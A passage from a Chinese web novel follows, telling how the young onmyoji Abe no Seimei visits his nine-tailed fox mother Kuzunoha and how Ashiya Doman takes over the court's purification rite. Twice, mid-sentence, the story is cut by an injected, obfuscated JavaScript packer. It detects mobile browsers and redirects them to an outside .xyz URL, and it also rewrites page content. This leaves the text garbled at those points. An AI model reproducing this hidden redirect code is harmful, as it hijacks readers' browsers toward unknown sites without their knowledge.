不能再让晴明为了两个已死之人继续作践自己了,再年轻的身体也禁不住这样糟践。 打晕这种方法简单粗暴,但也治标不治本。 贺茂忠行没办法替晴明解决这个问题,有些事情,不是靠人帮忙就能解决的。 说得更残酷一些,逝者究竟是会成为生者的阻碍还是会激励生者前行,这完全取决于生者的选择。 贺茂忠行抱起晴明回了屋,这个孩子现在最需要的就是好好睡一觉,这些天里,他太累了。 而他只有十一岁啊。 事实证明,晴明比贺茂忠行想象的要理智很多,或者说是陡遭突变,让晴明迅速地成熟了起来, 他只迷茫了几天就去向贺茂忠行辞行,说要去把父亲离世的消息告诉他的母亲,可能还要在平安 京附近的地方走走,归期不定。 贺茂忠行让他去了。 贺茂忠行原本还担心晴明会头脑一热跑去找卢屋道满拼命,卢屋道满此人心黑手辣,如今为了打倒贺茂忠行更是无所不用其极,连贺茂忠行自己都忌惮他三分,晴明显然根本不是那只老狐狸的对手。 还好,晴明没那么冲动。 安倍益材不希望晴明去复仇,一来是仇恨实在是一种太过于沉重的东西,他不希望自己的儿子背负着这种东西长大,而二来,便是因为担心晴明会因此而受到伤害。 他用自己的命换来卢屋道满一诺,便是为此了。 目前看来,晴明似乎真的听了他父亲的话,没去找过卢屋道满的麻烦。 就像他从前一直都很听他父亲的话,按照他父亲的意愿隐藏自己的特异之处。 晴明拒绝了保宪要陪他一起出门的好意,独自收拾了东西,离开了平安京。 他第一个要去的地方,是明美生前埋骨的那片树林。 他通过占卜,知道了明美两次死亡的原因,也知道明美为了替他报仇究竟付出了什么。 现在,该轮到他帮她们入殓了。 在那堆早已被撕扯踩烂的骸骨里,晴明找到了一颗小小的人类头骨,可能是明美的,也可能是另一个死在这里的可怜孩子的,时间过得太久了,或许连明美自己都记不得自己究竟死在了多少年前。 而这一切,都随着明美灵魂的彻底消亡,全部逝去了。 晴明收拢了那些骸骨,用丝绸包裹着,埋到了地下。 继续这样风化着总归不好,想来,明美也不会喜欢自己的骨头就这样暴露在外。 风葬是一回事,但是如果她们原本就是死于野兽口中,那就是另一回事了。 16. 第十六章:葛叶之森 葛叶离开的时候晴明年纪尚小,但不知为什么,葛叶临走前对晴明说的那几句话一直烙印在晴明的记忆里。 或许这又是某种咒的作用。 信太森林,葛叶之森。 晴明以前从没来过这个地方,但是他好像天生就知道该怎样走似的,这就是葛叶走之前说的,“你的灵力会为你引路”了。 晴明在信太森林的深处停下脚步,他这些年来已经跟贺茂忠行学到了不少,自然分辨得出来,这附近被人布下了结界,而且结界上萦绕的灵力似曾相识。 晴明四处转了转,发现这个结界所笼罩的地域并不大,甚至比平安京里,他和父亲曾一起居住过的宅院还要小些。 晴明试着触了触结界,它没有拒绝他,很是温柔地容纳了晴明,就像母亲毫不设防地朝她的孩子敞开了怀抱。 晴明不再犹豫,大步跨进了结界中。 这片森林极其繁茂,高大的树冠隐天蔽日,几乎照不进一丝阳光,人类在巨树的映衬下显得格外渺小,很容易叫人生出敬畏之心。 人类从来都不是自然界的征服者,无论是过去还是现在。 晴明敢确定,他的母亲葛叶必然就生活在这个小结界中,但是在这种地方要找一只擅于隐匿自己的白狐又谈何容易! 不过,当他走进葛叶的结界的时候,葛叶必然就已经发现了他。 他不需要费心思去找,只要等着葛叶过来找他便可以了。 晴明靠在一棵树结实的树干上,合眼休憩,没过多久,他便感觉到有东西在飞快地接近。 那个未知的东西卷挟起了一阵阴寒的风,好像一下子冷到了心里,给人的感觉极不舒服。 即使心中早已有了底,晴明还是被这股风震慑住了,他本能地睁开了眼睛。 他起初甚至没明白出现在自己眼前的东西是什么,因为一片纯白色完全覆盖住了他的视线,那东西看起来有一点像是一块巨大的雪白色毛皮。 他过了好一阵,才弄明白自己究竟是看到了什么。 他看到了一只巨大的白狐。 它的身躯极为庞大,身段却极其柔软,身上的皮毛好像上好的缎子一般闪耀着光泽,它跑动的动作就像一只优雅的猫。 白狐如鬼魅一般欺近了晴明,它抬起一只爪子,轻轻松松就把晴明按在了树干上,尖嘴巴微微张开,露出里面尖利的獠牙,它压低了声音,显得很具威胁性:“阴阳师,嗯?” 晴明平日里穿惯了狩衣,这次出门也不例外,但他可没想到自己会被葛叶误会成来找麻烦的阴阳师。 不过这倒也难怪葛叶,毕竟她已经有六年没见过晴明了,孩子的模样变化得又快,她认不出晴明来也不是什么奇怪的事。 “母亲大人,我是晴明!”晴明连忙说明身份,如果他今天误被葛叶杀死,那未免也太倒霉了些。 “晴明?”白狐还有些半信半疑,但它立刻松开了爪子。 葛叶原本就不是什么实力强大的妖怪,而晴明这些年受了贺茂忠行的教导,早就学会了遮掩自己身上的妖气,因此葛叶也根本没发觉他们二人身上的气味相似。 至于葛叶布下的结界,它则是直接把晴明当作了葛叶本人,因为他们的灵力的相似程度极高,结界本身没有神智,分辨不出二者之间的区别。 为了证明自己的身份,晴明便不再去控制自己的妖气了,两只尖尖的狐耳从发间露出,顶歪了头上的乌帽,同时还有足足九条狐尾从晴明身后冒了出来。 就算葛叶认不出他的脸,也该能认出这股同出一脉的妖气。 葛叶吃了一惊,连忙后退半步,收回了自己的狐形,重新变回了晴明曾经最熟悉的那个女人相貌。 “晴明?真是你?你怎么来了?”葛叶想去摸晴明的脸,又犹豫着不敢伸手,急急问道:“是有人为难你吗?” “不,不是的。”晴明摇了摇头,看着面前既熟悉,又陌生的女人,拿不准自己该不该就这样直接把父亲的死讯说出来。 但是无论如何,这件事情葛叶总还是应该知道的。 而这种事情也实在没有什么更委婉的表达方式。 所以晴明最后还是说出了口:“父亲去世了。”他没说得太详细,他不想再多提了。 反正他已经决定了要去报仇的,又何必多说什么。 出乎晴明的意料,葛叶对这个消息的反应很平淡,好像完全不在意自己的丈夫是不是还在人世似的:“哦,是吗?” 晴明不是很能理解葛叶冷淡的态度。 明明他们是相爱的不是吗? 葛叶似乎察觉了自己儿子的情绪不好,主动解释说:“你在人类中间生活得太久了,或许没办法理解这一点,但在我们看来,死亡是一件很平常的事情。这片森林里,死亡每天都在发生,你可能随时都会失去你的亲人、好友,但是你没时间为他们哀悼,因为也许下一刻,你自己也要面临灭顶之灾。” “可是……”晴明还想辩驳什么,却被葛叶打断了:“如果你也曾经惶惶不可终日,也曾经躲避过猎人和天敌的猎捕,那样的话你就会明白了。亡故之人已经死了,但是生者还要继续活着,如果一味沉湎于怀念过去,最后你只会害死你自己。” 葛叶毕竟是妖,而且还以普通野狐的身份在森林里生活过许多年,她的思维方式自然与人类有着天壤之别。 晴明不说话了,尽管他还是不太能够接受葛叶的说法。 “这也就是为什么当年我没有带着你一起走的原因了。”葛叶又说,深深地叹了一口气:“别怨恨我,晴明,并不是我不肯要你,而是这种生活太艰难了,天敌、猎人,或许现在还要加上阴阳师,他们都会威胁到我们的生命。” 葛叶原本只是一只稍稍有些灵性的白狐,但以她的天赋,要化成人身还需要很多年才行。 直到十多年前,她误踩入了卢屋道满的陷阱。 那是她的劫,却也是她的机缘。 她慌不择路,窜进了稻荷神御馔津的神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460591|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 社,神社门前矗立着两尊狐狸的雕像,她便寄希望于神明庇佑。 同样也在神社里许愿的安倍益材救了她,把她藏了起来,自己却挨了一顿揍。冲进来找狐狸的猎人们认定是安倍益材私藏了白狐,却遍寻不着,暴怒之下,狠揍了安倍益材一顿。 她躲在稻荷神的神像后面,想着自己如果可以化身成人,那就好了,至少可以帮一帮救了自己的恩人。 就在她这样想的时候,神像似乎忽然动了,怀抱着狐狸的慈悲的女人好像摸了摸自己怀里狐狸的脑袋,狐狸原本眯得细细的眼睛睁开了一点。 但当她定睛细看的时候,神像还是原本的样子,仿佛刚刚的变化只是她的错觉。 她又探了探头,确认猎人们都走远了,这才踮着四只脚,从神像后面小心地走出来。 这一走,她才发现问题,她原本布满雪白色长毛的前爪没有了,取而代之的是两只光洁的、人类的手。 她很不习惯地抓握了几下,扭过头去检查自己的身体,她这才意识到,自己变成了人类。 难道真是稻荷神听到了她的愿望? 她没来得及多想,笨拙地站起来,跌跌撞撞地朝安倍益材跑过去,她还没有完全习惯像人类一样用两条腿走路,还好这个时候的安倍益材意识模糊,没发觉她的异常。 她替安倍益材处理好了浑身的伤痕,然后坐在那儿等他醒过来,在这段时间里,她检查了一下自己的妖力,发现妖力并没有增强多少,就妖力而言,她仍然是之前那个稍微有一点灵性的白狐。 那就一定是稻荷神助她了,她在稻荷神的神像前跪下来,虔诚地拜了拜。 安倍益材醒过来之后,第一句话便是问她的名字。 白狐自然是没有名字的,她望着神社外生长得纠缠盘绕的青藤,撒谎说,她叫葛叶,是住在森林里的山民。 安倍益材离开之后,葛叶在森林深处重新化为狐身,却发现自己的尾巴多了整整八条。 稻荷神把她变成了九尾狐。 九尾狐天生高贵,生来就是人身。 这大概就是她可以化为人形的原因了。 葛叶原以为她与安倍益材缘尽于此,但她没想到的是,没过多久,安倍益材又来了,他在神社周围徘徊,大声喊着“葛叶”这个随口编出来的名字,试图找到她。 葛叶躲在草丛里,看着那个打扮一新的年轻人。 她不太懂人类的穿着,但是无端地觉得他穿起这样的衣服很好看。 葛叶化成女人的模样,从森林里走了出去。 接下来的一切,就很顺理成章。 他们后来又在森林里见了几面,再后来,安倍益材提出要娶她为妻,要带她去繁华的“风雅之地”,平安京。 葛叶犹豫了一下,答应了。 她想,她是妖,而他是人,那又有什么关系?只要她好好把这件事情瞒住,谁也猜不出她的身份的。 可是这里唯一的变数,就是她的儿子,晴明。 17.第十七章:再次祓禊 葛叶跟着安倍益材去平安京的时候,她绝没有想到,第一个认出她身份的,竟然是她的儿子晴明。 白狐之子天生灵力,要看穿妖的真身自然不是难事。 葛叶身份暴露,于是抛下了丈夫和幼子,回到了她出生的那片森林。 在平安京里生活了五六年,可她还是觉得森林更自在些。 毕竟她除了可以化身为人之外,实际上和普通的狐狸并没有多大分别。 回到森林之后,葛叶很少再想起安倍益材。 这实在不能怪妖怪无情,而是在动物之间,离离分分是很平常的事,没什么值得挂念的。 葛叶在森林深处设下了一个结界,这样一来,一旦有人接近这里,她就能立刻察觉到。 被猎人追捕过一次之后,她实在是怕了。 她在结界里画地为牢,虽然无趣了些,但胜在平静,并没有人来打扰她的生活。 说起来,除了安倍益材又来找过她一次之外,第二个踏足她结界的人就是晴明了。 晴明叹了口气,既然葛叶不是很在乎安倍益材的死讯的话,那他也不用那么小心翼翼的了,索性全部说了出来:“我父亲是被人杀死的,对方也是个阴阳师,我想报仇,可我不是他的对手。” “阴阳师?”葛叶一愣,她只知道阴阳师会杀死妖,却从没听说过阴阳师也会杀人,当即联想到了自己身上,问道:“这件事情和我有关?” “不知道。”晴明摇摇头:“我也不想知道那个阴阳师有什么杀死我父亲的理由。无论如何,他杀了我父亲,这一点是不可能改变的。” 任何人都可以为自己的行为找到最合适的借口,但是借口只能博得同情,而绝不会改变他行为的性质。 葛叶微微点了点头,略沉吟一下,说:“我虽然是妖,但是这些年来一直都在这片结界里生活,并没见过什么阴阳师过来,更没有什么对抗阴阳师的经验,所以大概帮不上什么忙了。” “不过我想,或许你可以去找这附近的妖怪或鬼试试,我不懂阴阳术,但是大概实践是最好的练习手段。”葛叶继续说:“我可以跟着你一起去,虽然我不擅长打斗,但是九尾狐的身份还是可以震慑住一些小妖怪的。” “不必了。”晴明摇头:“我原本也没有要请您帮忙的打算,我来这儿只是觉得父亲的事情应该通知您一声,仅此而已。” 他与葛叶已有六年未曾见面,即便是母子,也难免关系生疏。 葛叶叹了口气,然后忽然像是又记起了什么似的,说:“先别走,在这里等我一会儿,我有件东西要给你。” 说着,葛叶又把自己化成了白狐,不过这一次,她的体型没有那么庞大,而是变成了普通狐狸的大小,除了身后摇曳的九条尾巴之外,完全看不出它和寻常白狐的区别。 白狐灵活地在林间腾挪跳跃,不一会儿就不见了。 这片森林的确是自然生灵的天下。 晴明重新靠到了树干上,深深吸了口气。 他确实没办法接受葛叶关于“死亡”所说的那些话,他作为人类生活了十一年,现在忽然要让他按照妖的方式理解事物,这原本就不是一件容易的事。 但是他现在没有心思去想他母亲到底是对是错,他满脑子都是卢屋道满和他父亲的事。 仇恨啊。 葛叶回来得很快,悄无声息地接近了晴明之后就立刻化为了人形,倒把晴明吓了一跳。 “这个你拿着,是我捡来的,上面附着驱鬼的咒印,或许对你有用。”葛叶手里拿着一条项链,上面穿着五枚白色的勾玉,勾玉大小不一,排在中间那枚最大,长度大约与手指相当,其余次之。 那勾玉的材质有些奇怪,外观晶莹润滑,不太像是普通的白色岩石,摸起来很冷,仿佛怎么也捂不暖似的,而且它给人的感觉…… 只不过是一种模模糊糊的感觉而已,好像这勾玉极其不详。 但是上面又的的确确附有驱鬼用的咒印,这就极其矛盾了。 葛叶用两只手撑开项链,替晴明挂在了脖子上,又轻轻拍了拍晴明的胸口,长长舒了口气,好像这样就能放心了一样。 晴明被勾玉上附着的强烈的不详意味镇得抖了抖,他一向对这些东西很敏感,但是勾玉上的驱鬼咒印却是做不得假的,更何况他相信他母亲不会害他。 所以晴明没拒绝葛叶为他带上项链的举动。 “去吧。”葛叶说:“阴阳师的事,我帮不上忙,但是我会一直在这里等你,日后如果遇到麻烦,至少你还可以回到这里来。” “我知道了。”晴明深深朝葛叶鞠了一躬,这就算是辞别了。 接下来又是三年,晴明一直孤身在外。 春光里的花、夏日里的风、秋天里的红叶、冬季里的雪,他都见过了,每当他踌躇不定的时候,便会去看一看它们,好像父亲一直未曾离开。 而在平安京里,这三年中,贺茂忠行和卢屋道满之间的斗争从来都没有平息过。 若论占卜和阴阳术,两人不分伯仲,但是如果要论心机和手段,那么贺茂忠行完全不是卢屋道满的对手。 阴阳师因为其职业的特殊性,欺世盗名之人最多,这样的人若只是替人占卜一下吉凶倒也罢了,但如果雇主家中真的妖鬼作祟,而他们不慎请来了一个实际上对阴阳术一窍不通的“阴阳师”来驱鬼,那种情况可就会真的害死人的。 所以贺茂忠行一向最厌恶这种人,他自恃真才实学,从来不与其他阴阳师交往。 而时间一长,就渐渐传出了“贺茂忠行恃才傲物”的流言。 这种流言若是放在平常,倒也不碍事,人们总是对强者的高傲有更高的容忍度,甚至还会认为他们高傲是很自然的事。 但是如果在这个强者的身边,又出现了另一个人,一个并不高傲,又足够强大的人,那么情况就大不一样了。 人们会不自觉地把他们两个人放在一起比较,到了这个时候,高傲的那一个自然成了更不受欢迎的那一个。 普通人不懂阴阳术,但是他们丰富的想象力却足以替他们完成一切。 许多人都喜欢看到骄傲的人被打下神坛,不是吗? 而不知卢屋道满是不是注意到了这一点,总之,他似乎是有意识地经常与其他阴阳师们交谈,表现出一副完全无害且又风趣幽默的样子,渐渐地,他成功取得了阴阳师们的支持。 阴阳师们讨厌那个与他们格格不入的贺茂忠行已经很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463331|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久了,借着这个机会,他们难得地达成了一致。 而与此同时,卢屋道满也慢慢取得了天皇的信任,在那些阴阳师和贵族们的帮助下。 最直接的证据,就是天皇把每年一次的祓禊仪式的主持任务交给了卢屋道满。 而这往年都是贺茂忠行负责的事务。 贺茂忠行在平安京中的地位岌岌可危,贵族们私下里都等着看贺茂忠行的笑话。 卢屋道满举行祓禊仪式的当天,贺茂忠行也去了,站在一边旁观,脸色不太好看。 这也难怪,毕竟卢屋道满后来者居上,抢了他的位置。 但是随着仪式的进行,贺茂忠行渐渐皱起了眉毛。 按照常理来说,祓禊的仪式只需要施展阴阳术召唤出附近的妖鬼,再设法令它们吃下祭品就可以了。 往年贺茂忠行以自己的灵血为祭,效果还算不错。 但是卢屋道满…… 他这是在做什么啊? 卢屋道满好像根本没有劝诱妖鬼吃祭品的打算,而是笑吟吟地朝着妖鬼聚集最多的地方点了点头,像是在向妖鬼致意,然后低声念起了咒语。 贺茂忠行所站的位置距离卢屋道满有些远,听不清他在念叨什么,但是就在卢屋道满吐出最后一个字的同时,一道极刺眼的金光骤然把群妖百鬼全部笼罩在了里面。 封印! 他究竟想做什么? 贺茂忠行的疑惑很快就有了答案,只见卢屋道满一边从衣袖中取出了一张白纸剪成的动物,一边向天皇深深一鞠躬,笑容中似乎带着些唯恐天下不乱的味道。 他说:“以我平安盛世,怎容得妖鬼在此肆虐?不如都杀了,以儆效尤。” 说着,他把白纸往天上一抛,那白纸望风便长,身躯不断变大,等到落地之时,已经变成了一只巨犬,虽然模样狞恶,但是似乎性情于普通的狗并没有太大区别,它蹲坐地上,吐着血红色的舌头。 周围距离较近的贵族骤然受了一惊,纷纷退却,卢屋道满纵声大笑,说:“各位莫慌,这是从小跟在我身边的式神,犬神。” 犬神听见主人唤它,歪着脑袋响亮地吠了一声,正似炸雷一般。 卢屋道满轻轻拍抚犬神胸前的长毛,他笑着,指了指金色的结界。 贺茂忠行一下子明白了卢屋道满要做什么。 难怪!难怪卢屋道满身为一个人类,竟然会带有如此深重的血腥气! 难怪犬神的身体会膨胀到这种程度!按照常理来说,犬神是狗死后化成的妖怪,体型应该与生前差不多才对! “等一下!”贺茂忠行忍不住了,高声制止。 可是已经晚了,犬神兴奋地哈着气,扑到了结界里面,那里随之响起了妖鬼的惨嚎声。 贺茂忠行缓缓放下了抬起的手,深深叹了口气。 很多阴阳师都认为,妖鬼非我族类,自然是全部杀绝了才好,但贺茂忠行从来都不这样想。 妖与鬼,不过是思维模式与人类不同而已,更何况很多妖鬼都是由人类变化来的,何必非要赶尽杀绝呢? 而在这些愿意应召而来的妖鬼中间,更有许多诸如明美之类的良善者,卢屋道满做这种事,恐怕不会招来善果的。